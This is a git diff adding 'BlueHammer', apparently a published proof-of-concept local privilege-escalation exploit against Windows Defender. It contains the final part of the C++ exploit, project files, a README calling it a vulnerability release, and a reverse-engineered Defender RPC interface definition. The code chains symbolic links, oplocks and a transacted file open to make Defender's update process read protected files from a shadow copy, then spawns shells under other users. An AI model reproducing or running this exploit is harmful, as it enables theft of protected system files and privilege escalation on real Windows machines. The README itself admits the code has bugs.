+ OBJECT_ATTRIBUTES _smobjattr = { 0 }; + InitializeObjectAttributes(&_smobjattr, &_unisrc, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL); + UNICODE_STRING _unidest = { 0 }; + wchar_t unidest[MAX_PATH] = { 0 }; + wcscpy(unidest, L"\\??\\"); + wcscat(unidest, updatepath); + RtlInitUnicodeString(&_unidest, unidest); + ntstat = _NtCreateSymbolicLinkObject(&hsymlink, GENERIC_ALL, &_smobjattr, &_unidest); + if (ntstat) + { + printf("NtCreateSymbolicLinkObject failed with error : 0x%0.8X\n", ntstat); + goto cleanup; + } + } + + while (UpdateFilesListCurrent) + { + wchar_t filepath[MAX_PATH] = { 0 }; + wchar_t filename[MAX_PATH] = { 0 }; + wcscpy(filepath, updatepath); + wcscat(filepath, L"\\"); + MultiByteToWideChar(CP_ACP, NULL, UpdateFilesListCurrent->filename, -1, filename, MAX_PATH); + wcscat(filepath, filename); + + HANDLE hupdate = CreateFile(filepath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, NULL, NULL); + + if (!hupdate || hupdate == INVALID_HANDLE_VALUE) + { + printf("Failed to create update file, error : %d", GetLastError()); + goto cleanup; + } + UpdateFilesListCurrent->filecreated = true; + DWORD writtenbytes = 0; + if (!WriteFile(hupdate, UpdateFilesListCurrent->filebuff, UpdateFilesListCurrent->filesz, &writtenbytes, NULL)) + { + printf("Failed to write update file, error : %d", GetLastError()); + CloseHandle(hupdate); + goto cleanup; + } + CloseHandle(hupdate); + printf("Created update file : %ws\n", filepath); + UpdateFilesListCurrent = UpdateFilesListCurrent->next; + + } + + hdir = CreateFile(L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL); + if (!hdir || hdir == INVALID_HANDLE_VALUE) + { + printf("Failed to open definition updates directory, error : %d", GetLastError()); + goto cleanup; + } + + hcurrentthread = OpenThread(THREAD_ALL_ACCESS, NULL, GetCurrentThreadId()); + if (!hcurrentthread) + { + printf("Unexpected error while opening current thread, error : %d", GetLastError()); + goto cleanup; + } + wchar_t thrdupdpath[MAX_PATH] = { 0 }; + wsprintf(thrdupdpath, L"\\\\?\\GLOBALROOT\\Sessions\\%d\\BaseNamedObjects\\%s\\WDUpdateDirectory", _sesid, wuid2); + threadargs.dirpath = thrdupdpath; + threadargs.hntfythread = hcurrentthread; + threadargs.hevent = CreateEvent(NULL, FALSE, FALSE, NULL); + hthread = CreateThread(NULL, NULL, WDCallerThread, (LPVOID)&threadargs, NULL, &tid); + + printf("Waiting for windows defender to create a new definition update directory...\n"); + wcscpy(newdefupdatedirname, L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\"); + do { + ZeroMemory(buff, sizeof(buff)); + OVERLAPPED od = { 0 }; + od.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); + ReadDirectoryChangesW(hdir, buff, sizeof(buff), TRUE, FILE_NOTIFY_CHANGE_DIR_NAME, &retbytes, &od, NULL); + HANDLE events[2] = { od.hEvent, threadargs.hevent }; + if (WaitForMultipleObjects(2, events, FALSE, INFINITE) - WAIT_OBJECT_0) + { + printf("ServerMpUpdateEngineSignature ALPC call ended unexpectedly, RPC_STATUS : 0x%0.8X\n", threadargs.res); + goto cleanup; + } + CloseHandle(od.hEvent); + + PFILE_NOTIFY_INFORMATION pfni = (PFILE_NOTIFY_INFORMATION)buff; + if (pfni->Action != FILE_ACTION_ADDED) + continue; + + wcscat(newdefupdatedirname, pfni->FileName); + break; + } while (1); + printf("Detected new definition update directory in %ws\n", newdefupdatedirname); + + wcscpy(updatelibpath, L"\\??\\"); + wcscat(updatelibpath, updatepath); + wcscat(updatelibpath, L"\\mpasbase.vdm"); + + RtlInitUnicodeString(&unistrupdatelibpath, updatelibpath); + InitializeObjectAttributes(&objattr, &unistrupdatelibpath, OBJ_CASE_INSENSITIVE, NULL, NULL); + + ntstat = NtCreateFile(&hupdatefile, GENERIC_READ | DELETE | SYNCHRONIZE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_DELETE_ON_CLOSE, NULL, NULL); + if (ntstat) + { + printf("Failed to open update library, ntstatus : 0x%0.8X", ntstat); + goto cleanup; + } + printf("Setting oplock on %ws\n", updatelibpath); + + ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); + DeviceIoControl(hupdatefile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); + + if (GetLastError() != ERROR_IO_PENDING) + { + printf("Failed to request a batch oplock on the update file, error : %d", GetLastError()); + goto cleanup; + } + printf("Waiting for oplock to trigger...\n"); + GetOverlappedResult(hupdatefile, &ovd, &transfersz, TRUE); + printf("oplock triggered !\n"); + + CloseHandle(hsymlink); + + + + { + UNICODE_STRING _unisrc = { 0 }; + RtlInitUnicodeString(&_unisrc, L"WDUpdateDirectory"); + OBJECT_ATTRIBUTES _smobjattr = { 0 }; + InitializeObjectAttributes(&_smobjattr, &_unisrc, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL); + UNICODE_STRING _unidest = { 0 }; + RtlInitUnicodeString(&_unidest, objdirpath); + ntstat = _NtCreateSymbolicLinkObject(&hsymlink, GENERIC_ALL, &_smobjattr, &_unidest); + if (ntstat) + { + printf("NtCreateSymbolicLinkObject failed with error : 0x%0.8X\n", ntstat); + goto cleanup; + } + + RtlInitUnicodeString(&objlinkname, L"mpasbase.vdm"); + ZeroMemory(nttargetfile, sizeof(nttargetfile)); + wcscpy(nttargetfile, fullvsspath); + wcscat(nttargetfile, filestoleak[x]); + RtlInitUnicodeString(&objlinktarget, nttargetfile); + InitializeObjectAttributes(&objattr, &objlinkname, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL); + + ntstat = _NtCreateSymbolicLinkObject(&hobjlink, GENERIC_ALL, &objattr, &objlinktarget); + if (ntstat) + { + printf("Failed to create object manager symbolic link, error : 0x%0.8X\n", ntstat); + goto cleanup; + } + + } + + + CloseHandle(ov.hEvent); + ov.hEvent = NULL; + CloseHandle(ovd.hEvent); + ovd.hEvent = NULL; + CloseHandle(hupdatefile); + hupdatefile = NULL; + + + wcscat(newdefupdatedirname, L"\\mpasbase.vdm"); + + htransaction = CreateTransaction(NULL, NULL, TRANSACTION_DO_NOT_PROMOTE, NULL, NULL, NULL, NULL); + if (!htransaction) + { + printf("Failed to open leaked file.\n"); + goto cleanup; + } + do { + hleakedfile = CreateFileTransacted(newdefupdatedirname, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL,htransaction,NULL,NULL); + } while (hleakedfile == INVALID_HANDLE_VALUE || !hleakedfile); + printf("Leaked file opened %ws\n", newdefupdatedirname); + + + CloseHandle(hdir); + hdir = NULL; + CloseHandle(hobjlink); + hobjlink = NULL; + printf("Exploit succeeded.\n"); + SetEvent(hreleaseready); + + + DoSpawnShellAsAllUsers(hleakedfile); + CloseHandle(hleakedfile); + hleakedfile = NULL; + RollbackTransaction(htransaction); + CloseHandle(htransaction); + htransaction = NULL; + WaitForSingleObject(hthread, INFINITE); + CloseHandle(hthread); + hthread = NULL; + + + + } + + } + catch (int exception) + { + goto cleanup; + } + +cleanup: + + if(hint) + InternetCloseHandle(hint); + if(hint) + InternetCloseHandle(hint2); + if (exebuff) + free(exebuff); + if(mappedbuff) + UnmapViewOfFile(mappedbuff); + if (hmapping) + CloseHandle(hmapping); + if (hcabctx) + FDIDestroy(hcabctx); + if (hdir) + CloseHandle(hdir); + if (rdb) + HeapFree(GetProcessHeap(), NULL, rdb); + if (ov.hEvent) + CloseHandle(ov.hEvent); + if (ovd.hEvent) + CloseHandle(ovd.hEvent); + + if (hreleaseready) + { + SetEvent(hreleaseready); + Sleep(1000); + CloseHandle(hreleaseready); + } + if (hleakedfile) + { + if (filelocked) + UnlockFile(hleakedfile, NULL, NULL, NULL, NULL); + CloseHandle(hleakedfile); + } + if (leakedfilebuff) + free(leakedfilebuff); + if (hcurrentthread) + CloseHandle(hcurrentthread); + if (needupdatedircleanup) + { + wchar_t dirtoclean[MAX_PATH] = { 0 }; + wcscpy(dirtoclean, updatepath); + UpdateFilesListCurrent = UpdateFilesList; + while(UpdateFilesListCurrent) + { + + if (UpdateFilesListCurrent->filecreated) + { + wchar_t filetodel[MAX_PATH] = { 0 }; + wcscpy(filetodel, dirtoclean); + wcscat(filetodel, L"\\"); + MultiByteToWideChar(CP_ACP, NULL, UpdateFilesListCurrent->filename, -1, &filetodel[lstrlenW(filetodel)], MAX_PATH - lstrlenW(filetodel) * sizeof(wchar_t)); + DeleteFile(filetodel); + } + if (UpdateFilesListCurrent->hsymlink) { + CloseHandle(UpdateFilesListCurrent->hsymlink); + UpdateFilesListCurrent->hsymlink = NULL; + } + UpdateFiles* UpdateFilesListOld = UpdateFilesListCurrent; + UpdateFilesListCurrent = UpdateFilesListCurrent->next; + free(UpdateFilesListOld); + } + RemoveDirectory(dirtoclean); + } + + + return 0; +} + diff --git a/BlueHammer/FunnyApp.rc b/BlueHammer/FunnyApp.rc new file mode 100644 index 0000000..58dec08 Binary files /dev/null and b/BlueHammer/FunnyApp.rc differ diff --git a/BlueHammer/FunnyApp.sln b/BlueHammer/FunnyApp.sln new file mode 100644 index 0000000..653b8fc --- /dev/null +++ b/BlueHammer/FunnyApp.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.14.36414.22 d17.14 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FunnyApp", "FunnyApp.vcxproj", "{C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Debug|x64.ActiveCfg = Debug|x64 + {C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Debug|x64.Build.0 = Debug|x64 + {C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Debug|x86.ActiveCfg = Debug|Win32 + {C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Debug|x86.Build.0 = Debug|Win32 + {C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Release|x64.ActiveCfg = Release|x64 + {C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Release|x64.Build.0 = Release|x64 + {C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Release|x86.ActiveCfg = Release|Win32 + {C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {B894FD1E-E0A4-4043-9950-2A946FC73C8C} + EndGlobalSection +EndGlobal diff --git a/BlueHammer/FunnyApp.vcxproj b/BlueHammer/FunnyApp.vcxproj new file mode 100644 index 0000000..b250b09 --- /dev/null +++ b/BlueHammer/FunnyApp.vcxproj @@ -0,0 +1,181 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {c0c82a69-3ead-4d50-a0ee-24b01449eafa} + FunnyApp + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + false + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + C:\Program Files (x86)\Windows Kits\10\Include\10.0.26100.0\um;$(IncludePath) + + + C:\Program Files (x86)\Windows Kits\10\Include\10.0.26100.0\um;$(IncludePath) + + + C:\Program Files (x86)\Windows Kits\10\Include\10.0.26100.0\um;$(IncludePath) + + + C:\Program Files (x86)\Windows Kits\10\Include\10.0.26100.0\um;$(IncludePath) + + + + TurnOffAllWarnings + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + + + Console + true + + + $(CoreLibraryDependencies);$(ProjectDir)offreg.lib;%(AdditionalDependencies) + + + + + TurnOffAllWarnings + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + + + Console + true + + + $(CoreLibraryDependencies);$(ProjectDir)offreg.lib;%(AdditionalDependencies) + + + + + TurnOffAllWarnings + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreadedDebug + + + + + Console + true + + + $(CoreLibraryDependencies);$(ProjectDir)offreg.lib;%(AdditionalDependencies) + + + + + + + TurnOffAllWarnings + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + + + + + Console + true + + + $(CoreLibraryDependencies);$(ProjectDir)offreg.lib;%(AdditionalDependencies) + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/BlueHammer/FunnyApp.vcxproj.filters b/BlueHammer/FunnyApp.vcxproj.filters new file mode 100644 index 0000000..c2af88e --- /dev/null +++ b/BlueHammer/FunnyApp.vcxproj.filters @@ -0,0 +1,49 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + + + Resource Files + + + + + Source Files + + + \ No newline at end of file diff --git a/BlueHammer/FunnyApp.vcxproj.user b/BlueHammer/FunnyApp.vcxproj.user new file mode 100644 index 0000000..0f14913 --- /dev/null +++ b/BlueHammer/FunnyApp.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/BlueHammer/LICENSE b/BlueHammer/LICENSE new file mode 100644 index 0000000..c30f3fd --- /dev/null +++ b/BlueHammer/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Nightmare-Eclipse + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/BlueHammer/README.md b/BlueHammer/README.md new file mode 100644 index 0000000..2f6a93c --- /dev/null +++ b/BlueHammer/README.md @@ -0,0 +1,19 @@ +# BlueHammer + + +-----BEGIN PGP SIGNED MESSAGE----- +Hash: SHA512 + +Repository hosting the bluehammer vulnerability + +I'm just really wondering what was the math behind their decision, like you knew this was going to happen and you still did whatever you did ? Are they serious ? + +-----BEGIN PGP SIGNATURE----- + +iHUEARYKAB0WIQRJTvAf/AWVhAKEeb7FFoRCS0/SbAUCac8VlgAKCRDFFoRCS0/S +bK8pAP9CzNnH26FVVdHZWVyDvOIwuZ1np1dTv7T5YaVCjf4tiwD+MC4Ikq+/ywdD +I7dabkH7iSZflULM+hGUOur0mnAg9Qw= +=Enhh +-----END PGP SIGNATURE----- + +Edit : There are few bugs in the PoC that could prevent it from working, might fix them later. diff --git a/BlueHammer/offreg.h b/BlueHammer/offreg.h new file mode 100644 index 0000000..a82e190 --- /dev/null +++ b/BlueHammer/offreg.h @@ -0,0 +1,239 @@ +/*++ + +Copyright (c) Microsoft Corporation + +Module Name: + + offreg.h + +Abstract: + + This module contains the header file for the + offreg utility. + +--*/ + +#pragma once + +#ifndef __OFFREG_H__ +#define __OFFREG_H__ + +#ifdef __cplusplus +extern "C" +{ +#endif + + +#if defined(OFFREG_DLL) +#define ORAPI _declspec(dllexport) __stdcall +#else +#define ORAPI _declspec(dllimport) __stdcall +#endif + + typedef PVOID ORHKEY; + typedef ORHKEY* PORHKEY; + + VOID + ORAPI + ORGetVersion( + _Out_ PDWORD pdwMajorVersion, + _Out_ PDWORD pdwMinorVersion + ); + + DWORD + ORAPI + OROpenHive( + _In_ PCWSTR FilePath, + _Out_ PORHKEY HORKey + ); + + DWORD + ORAPI + OROpenHiveByHandle( + _In_ HANDLE FileHandle, + _Out_ PORHKEY HORKey + ); + + DWORD + ORAPI + ORCreateHive( + _Out_ PORHKEY HORKey + ); + + DWORD + ORAPI + ORCloseHive( + _In_ ORHKEY Handle + ); + + DWORD + ORAPI + ORSaveHive( + _In_ ORHKEY HORKey, + _In_ PCWSTR HivePath, + _In_ DWORD OsMajorVersion, + _In_ DWORD OsMinorVersion + ); + + DWORD + ORAPI + OROpenKey( + _In_ ORHKEY Handle, + _In_opt_ PCWSTR lpSubKey, + _Out_ PORHKEY phkResult + ); + + DWORD + ORAPI + ORCloseKey( + _In_ ORHKEY KeyHandle + ); + + DWORD + ORAPI + ORCreateKey( + _In_ ORHKEY KeyHandle, + _In_ PCWSTR lpSubKey, + _In_opt_ PWSTR lpClass, + _In_opt_ DWORD dwOptions, + _In_opt_ PSECURITY_DESCRIPTOR pSecurityDescriptor, + _Out_ PORHKEY phkResult, + _Out_opt_ PDWORD pdwDisposition + ); + + DWORD + ORAPI + ORDeleteKey( + _In_ ORHKEY Handle, + _In_opt_ PCWSTR lpSubKey + ); + + DWORD + ORAPI + ORQueryInfoKey( + _In_ ORHKEY Handle, + _Out_writes_opt_(*lpcClass) PWSTR lpClass, + _Inout_opt_ PDWORD lpcClass, + _Out_opt_ PDWORD lpcSubKeys, + _Out_opt_ PDWORD lpcMaxSubKeyLen, + _Out_opt_ PDWORD lpcMaxClassLen, + _Out_opt_ PDWORD lpcValues, + _Out_opt_ PDWORD lpcMaxValueNameLen, + _Out_opt_ PDWORD lpcMaxValueLen, + _Out_opt_ PDWORD lpcbSecurityDescriptor, + _Out_opt_ PFILETIME lpftLastWriteTime + ); + + DWORD + ORAPI + OREnumKey( + _In_ ORHKEY Handle, + _In_ DWORD dwIndex, + _Out_writes_(*lpcName) PWSTR lpName, + _Inout_ PDWORD lpcName, + _Out_writes_opt_(*lpcClass) PWSTR lpClass, + _Inout_opt_ PDWORD lpcClass, + _Out_opt_ PFILETIME lpftLastWriteTime + ); + + DWORD + ORAPI + ORGetKeySecurity( + _In_ ORHKEY Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _Out_opt_ PSECURITY_DESCRIPTOR pSecurityDescriptor, + _Inout_ PDWORD lpcbSecurityDescriptor + ); + + DWORD + ORAPI + ORSetKeySecurity( + _In_ ORHKEY Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR pSecurityDescriptor + ); + + DWORD + ORAPI + ORGetVirtualFlags( + _In_ ORHKEY Handle, + _Out_ PDWORD pdwFlags + ); + + DWORD + ORAPI + ORSetVirtualFlags( + _In_ ORHKEY Handle, + _In_ DWORD dwFlags + ); + + DWORD + ORAPI + ORDeleteValue( + _In_ ORHKEY Handle, + _In_opt_ PCWSTR lpValueName + ); + + DWORD + ORAPI + ORGetValue( + _In_ ORHKEY Handle, + _In_opt_ PCWSTR lpSubKey, + _In_opt_ PCWSTR lpValue, + _Out_opt_ PDWORD pdwType, + _Out_writes_bytes_opt_(*pcbData) PVOID pvData, + _Inout_opt_ PDWORD pcbData + ); + + DWORD + ORAPI + ORSetValue( + _In_ ORHKEY Handle, + _In_opt_ PCWSTR lpValueName, + _In_ DWORD dwType, + _In_reads_bytes_opt_(cbData) const BYTE* lpData, + _In_ DWORD cbData + ); + + DWORD + ORAPI + OREnumValue( + _In_ ORHKEY Handle, + _In_ DWORD dwIndex, + _Out_writes_(*lpcValueName) PWSTR lpValueName, + _Inout_ PDWORD lpcValueName, + _Out_opt_ PDWORD lpType, + _Out_writes_bytes_opt_(*lpcbData) PBYTE lpData, + _Inout_opt_ PDWORD lpcbData + ); + + DWORD + ORAPI + ORRenameKey( + _In_ ORHKEY Handle, + _In_ PCWSTR lpNewName + ); + + DWORD + ORStart( + VOID + ); + + VOID + ORShutdown( + VOID + ); + + DWORD + ORAPI + ORMergeHives( + _In_reads_(HiveCount) ORHKEY* HiveHandles, + _In_ ULONG HiveCount, + _Out_ PORHKEY phkResult + ); + +#ifdef __cplusplus +} +#endif + +#endif //__OFFREG_H__ diff --git a/BlueHammer/offreg.lib b/BlueHammer/offreg.lib new file mode 100644 index 0000000..533fdf7 Binary files /dev/null and b/BlueHammer/offreg.lib differ diff --git a/BlueHammer/resource.h b/BlueHammer/resource.h new file mode 100644 index 0000000..69d8482 --- /dev/null +++ b/BlueHammer/resource.h @@ -0,0 +1,14 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ generated include file. +// Used by FunnyApp.rc + +// Next default values for new objects +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 101 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1001 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git a/BlueHammer/windefend.idl b/BlueHammer/windefend.idl new file mode 100644 index 0000000..f9f6dcc --- /dev/null +++ b/BlueHammer/windefend.idl @@ -0,0 +1,2413 @@ +import "oaidl.idl"; +import "ocidl.idl"; + +[ + uuid(c503f532-443a-4c69-8300-ccd1fbdb3839), + version(2.0), +] +interface DefaultIfName +{ + + typedef struct Struct_16_t + { + long StructMember0; + short StructMember1; + short StructMember2; + byte StructMember3[8]; + }Struct_16_t; + + typedef struct Struct_28_t + { + hyper StructMember0; + }Struct_28_t; + + typedef struct Struct_40_t + { + long StructMember0; + long StructMember1; + long StructMember2[4]; + }Struct_40_t; + + /* FC_HARD_STRUCT processed as a FC_BOGUS_STRUC */ + + typedef struct Struct_58_t + { + long StructMember0; + hyper StructMember1; + hyper StructMember2; + hyper StructMember3; + hyper StructMember4; + hyper StructMember5[4]; + }Struct_58_t; + + /* FC_HARD_STRUCT processed as a FC_BOGUS_STRUC */ + + typedef struct Struct_78_t + { + /* enum_32 : typedef [v1_enum] enum */ long StructMember0; + /* enum_32 : typedef [v1_enum] enum */ long StructMember1; + struct Struct_16_t StructMember2; + struct Struct_28_t StructMember3; + struct Struct_28_t StructMember4; + struct Struct_40_t StructMember5; + struct Struct_58_t StructMember6; + hyper StructMember7; + }Struct_78_t; + + typedef struct Struct_110_t + { + long StructMember0; + }Struct_110_t; + + typedef struct Struct_126_t + { + long StructMember0; + long StructMember1; + }Struct_126_t; + + /* FC_HARD_STRUCT processed as a FC_BOGUS_STRUC */ + + typedef struct Struct_144_t + { + long StructMember0; + struct Struct_78_t StructMember1; + struct Struct_78_t StructMember2; + struct Struct_40_t StructMember3; + struct Struct_110_t StructMember4[4]; + struct Struct_126_t StructMember5[11]; + struct Struct_28_t StructMember6; + }Struct_144_t; + + typedef [switch_type(long)] union union_222 + { + [case(1)] [unique] struct Struct_444_t* unionMember_1; + [case(3)] [unique] struct Struct_502_t* unionMember_3; + [case(4)] [unique] struct Struct_530_t* unionMember_4; + [case(5)] [unique] struct Struct_552_t* unionMember_5; + [case(2)] [unique] struct Struct_576_t* unionMember_2; + [case(6)] [unique] struct Struct_594_t* unionMember_6; + [case(7)] [unique] struct Struct_110_t* unionMember_7; + [case(8)] [unique] struct Struct_630_t* unionMember_8; + [case(9)] [unique] struct Struct_674_t* unionMember_9; + [case(10)] [unique] struct Struct_706_t* unionMember_10; + [case(12)] [unique] struct Struct_756_t* unionMember_12; + [case(13)] [unique] struct Struct_126_t* unionMember_13; + [case(14)] [unique] struct Struct_780_t* unionMember_14; + [case(15)] [unique] struct Struct_800_t* unionMember_15; + [case(16)] [unique] struct Struct_110_t* unionMember_16; + [case(17)] [unique] struct Struct_110_t* unionMember_17; + [case(18)] [unique] struct Struct_820_t* unionMember_18; + [case(19)] [unique] struct Struct_840_t* unionMember_19; + [case(20)] [unique] struct Struct_856_t* unionMember_20; + [case(21)] [unique] struct Struct_884_t* unionMember_21; + [case(22)] [unique] struct Struct_954_t* unionMember_22; + /* no default member to print for this Union. + An exception will be raised if the switch_is value does not match any of the cases values */ + } union_222; + + + typedef [switch_type(long)] union union_368 + { + [case(0)] [unique] struct Struct_110_t* unionMember_0; + [case(1)] [unique] struct Struct_110_t* unionMember_1; + [case(2)] [unique] struct Struct_110_t* unionMember_2; + [case(3)] [unique] struct Struct_110_t* unionMember_3; + [case(4)] [unique] struct Struct_110_t* unionMember_4; + [case(5)] [unique] struct Struct_110_t* unionMember_5; + [case(6)] [unique] struct Struct_110_t* unionMember_6; + [case(7)] [unique] struct Struct_110_t* unionMember_7; + [case(8)] [unique] struct Struct_110_t* unionMember_8; + [case(9)] [unique] struct Struct_110_t* unionMember_9; + [case(10)] [unique] struct Struct_110_t* unionMember_10; + /* no default member to print for this Union. + An exception will be raised if the switch_is value does not match any of the cases values */ + } union_368; + + + typedef struct Struct_444_t + { + /* enum_32 : typedef [v1_enum] enum */ long StructMember0; + long StructMember1; + [switch_is(StructMember0)] union union_368 StructMember2; + }Struct_444_t; + + typedef struct Struct_476_t + { + [unique] [string] wchar_t* StructMember0; + [unique] [string] wchar_t* StructMember1; + long StructMember2; + long StructMember3; + [unique] [size_is(StructMember3)] char* StructMember4; + }Struct_476_t; + + typedef struct Struct_502_t + { + /* enum_32 : typedef [v1_enum] enum */ long StructMember0; + [unique] struct Struct_476_t* StructMember1; + struct Struct_58_t StructMember2; + struct Struct_40_t StructMember3; + }Struct_502_t; + + typedef struct Struct_530_t + { + hyper StructMember0; + /* enum_32 : typedef [v1_enum] enum */ long StructMember1; + long StructMember2; + [unique] struct Struct_476_t* StructMember3; + }Struct_530_t; + + typedef struct Struct_552_t + { + [unique] struct Struct_476_t* StructMember0; + [unique] struct Struct_476_t* StructMember1; + }Struct_552_t; + + typedef struct Struct_576_t + { + hyper StructMember0; + long StructMember1; + /* enum_32 : typedef [v1_enum] enum */ long StructMember2; + long StructMember3; + }Struct_576_t; + + typedef struct Struct_594_t + { + long StructMember0; + long StructMember1; + long StructMember2; + /* enum_32 : typedef [v1_enum] enum */ long StructMember3; + /* enum_32 : typedef [v1_enum] enum */ long StructMember4; + [unique] [string] wchar_t* StructMember5; + }Struct_594_t; + + typedef struct Struct_630_t + { + long StructMember0; + [unique] [size_is(StructMember0)] char* StructMember1; + }Struct_630_t; + + typedef struct Struct_674_t + { + [unique] [string] wchar_t* StructMember0; + long StructMember1; + long StructMember2; + [unique] [size_is(StructMember2)] char* StructMember3; + long StructMember4; + [unique] [size_is(StructMember4)] char* StructMember5; + }Struct_674_t; + + typedef struct Struct_706_t + { + /* enum_32 : typedef [v1_enum] enum */ long StructMember0; + /* enum_32 : typedef [v1_enum] enum */ long StructMember1; + [unique] [string] wchar_t* StructMember2; + struct Struct_28_t StructMember3; + /* enum_32 : typedef [v1_enum] enum */ long StructMember4; + [unique] [string] wchar_t* StructMember5; + [unique] [string] wchar_t* StructMember6; + /* enum_32 : typedef [v1_enum] enum */ long StructMember7; + }Struct_706_t; + + typedef struct Struct_756_t + { + long StructMember0; + long StructMember1; + [unique] [size_is(StructMember1)] char* StructMember2; + }Struct_756_t; + + typedef struct Struct_780_t + { + struct Struct_126_t StructMember0; + struct Struct_126_t StructMember1; + long StructMember2; + long StructMember3; + }Struct_780_t; + + typedef struct Struct_800_t + { + long StructMember0; + [unique] [string] wchar_t* StructMember1; + }Struct_800_t; + + typedef struct Struct_820_t + { + [unique] [string] wchar_t* StructMember0; + long StructMember1; + }Struct_820_t; + + /* FC_HARD_STRUCT processed as a FC_BOGUS_STRUC */ + + typedef struct Struct_840_t + { + long StructMember0; + hyper StructMember1; + }Struct_840_t; + + typedef struct Struct_856_t + { + /* enum_32 : typedef [v1_enum] enum */ long StructMember0; + [unique] [string] wchar_t* StructMember1; + [unique] [string] wchar_t* StructMember2; + long StructMember3; + }Struct_856_t; + + typedef struct Struct_884_t + { + /* enum_32 : typedef [v1_enum] enum */ long StructMember0; + [unique] [string] wchar_t* StructMember1; + [unique] [string] wchar_t* StructMember2; + [unique] [string] wchar_t* StructMember3; + long StructMember4; + }Struct_884_t; + + typedef struct Struct_916_t + { + long StructMember0; + long StructMember1; + [unique] [size_is(StructMember1)] char* StructMember2; + }Struct_916_t; + + typedef struct Struct_954_t + { + long StructMember0; + [unique] /* [DBG] FC_BOGUS_ARRAY */ [size_is(StructMember0)] /* */ struct Struct_916_t* StructMember1; + 